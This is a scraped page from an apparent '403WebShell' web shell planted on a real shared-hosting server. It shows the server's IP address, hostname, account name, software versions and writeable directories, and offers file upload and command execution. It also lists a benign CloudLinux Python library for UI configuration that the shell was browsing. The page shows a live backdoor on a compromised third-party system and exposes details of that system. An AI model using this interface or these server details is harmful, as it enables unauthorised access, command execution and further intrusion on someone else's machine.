Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.199.113
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/clconfig/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/clconfig/ui_config_lib.py
# -*- coding: utf-8 -*-

# ui_config_lib.py - Library for panel config files manipulating for cloudlinux-config utility

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

import subprocess

import cldetectlib as detect
from clcommon.clexception import FormattedException
from clcommon.clquota import check_quota_enabled
from clcommon.const import Feature
from clcommon.cpapi import is_panel_feature_supported
from clcommon.ui_config import UIConfig
from cllimits.lib import exec_utility

from .clconfig_utils import boolean_to_0_1


class UIConfigException(FormattedException):
    pass


DYNAMIC_UI_CTL_CMD = '/usr/share/l.v.e-manager/utils/dynamicui.py'


def get_ui_config():
    """
       Retrives UI settings from config file
       :return: dict. For example:
           {'inodeLimits': {'showUserInodesUsage': False},
            'uiSettings': {'hideRubyApp': False, 'hideLVEUserStat': False, 'hidePythonApp': False,
                           'hidePHPextensions': True}
           }
    """
    return filter_flags(UIConfig().get_config())


def refresh_panel():
    try:
        retcode, out, err = exec_utility(DYNAMIC_UI_CTL_CMD, ['--sync-conf=all'], stderr=True)
    except OSError as e:
        raise UIConfigException({'message': "Can't execute file %(ctl_cmd)s: " + str(e),
                                 'context': {'ctl_cmd': DYNAMIC_UI_CTL_CMD}}) from e
    if retcode != 0:
        raise UIConfigException({'message': "Error while executing %(ctl_cmd)s: " + out + " " + err,
                                 'context': {'ctl_cmd': DYNAMIC_UI_CTL_CMD}})


def set_ui_config(parameters_dict):
    """
    Sets UI settings to UI config file
    Using subfunction _set_ui_config
    :param parameters_dict: Parameters to set dictionary. For example:
        {'inodeLimits': {'showUserInodesUsage': False},
         'uiSettings': {'hideRubyApp': False, 'hideLVEUserStat': False, 'hidePythonApp': False,
                        'hidePHPextensions': True}
        }
    :return: None
    """
    # Backward compatibility cl-config -> cloudlinux-selector on hidePythonApp
    try:
        # Try to read hidePythonApp key
        enablepythonapp = boolean_to_0_1(not parameters_dict['uiSettings']['hidePythonApp'])
        # Translate enablepythonapp binary key to disabled/enabled format for cl-selector
        lve_to_select = {'0':'disabled', '1': 'enabled'}
        # Call cloudlinux selector with translated param
        # CL-selector doesn't write changes to ui config file
        py_command = ("cloudlinux-selector set --json --interpreter python --selector-status "
            + lve_to_select[enablepythonapp])
        subprocess.check_call(py_command, shell=True, executable='/bin/bash',
                              stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
    except (subprocess.CalledProcessError, KeyError):
        pass
    # Call _set_ui_config with all params
    # (duplicate cl-selector call to write changes to config file)
    _set_ui_config(parameters_dict)


def _set_ui_config(parameters_dict):
    """
    Sets UI settings to config file
    :param parameters_dict: Parameters to set dictionary. For example:
        {'inodeLimits': {'showUserInodesUsage': False},
         'uiSettings': {'hideRubyApp': False, 'hideLVEUserStat': False, 'hidePythonApp': False,
                        'hidePHPextensions': True}
        }
    :return: None
    """
    UIConfig().set_config(parameters_dict)
    # Synchronize params with according panel config file
    refresh_panel()


def filter_flags(mapped_flags):
    panel_filter(mapped_flags.get('uiSettings'))
    try:
        if check_quota_enabled() is not None:
            mapped_flags.pop('inodeLimits')
    except KeyError:
        pass
    try:
        if not is_panel_feature_supported(Feature.LVE):
            mapped_flags.get('uiSettings', {}).pop('hideLVEUserStat')
    except KeyError:
        pass
    return mapped_flags


def panel_filter(ui_settings):
    """
    Function that filters UI Settings dictionary
    depending on panel type
    :param ui_settings: UI Settings that is filtered
    """
    if not detect.is_cpanel() or \
            not is_panel_feature_supported(Feature.RUBY_SELECTOR):
        ui_settings.pop('hideRubyApp')
    if detect.is_plesk() or not is_panel_feature_supported(Feature.PYTHON_SELECTOR):
        ui_settings.pop('hidePythonApp')
    if not is_panel_feature_supported(Feature.NODEJS_SELECTOR):
        ui_settings.pop('hideNodeJsApp')
    if not is_panel_feature_supported(Feature.XRAY):
        ui_settings.pop('hideXrayApp')
    if not is_panel_feature_supported(Feature.PHP_SELECTOR):
        ui_settings.pop('hidePhpApp')
        ui_settings.pop('hidePHPextensions')

Youez - 2016 - github.com/yon3zu
LinuXploit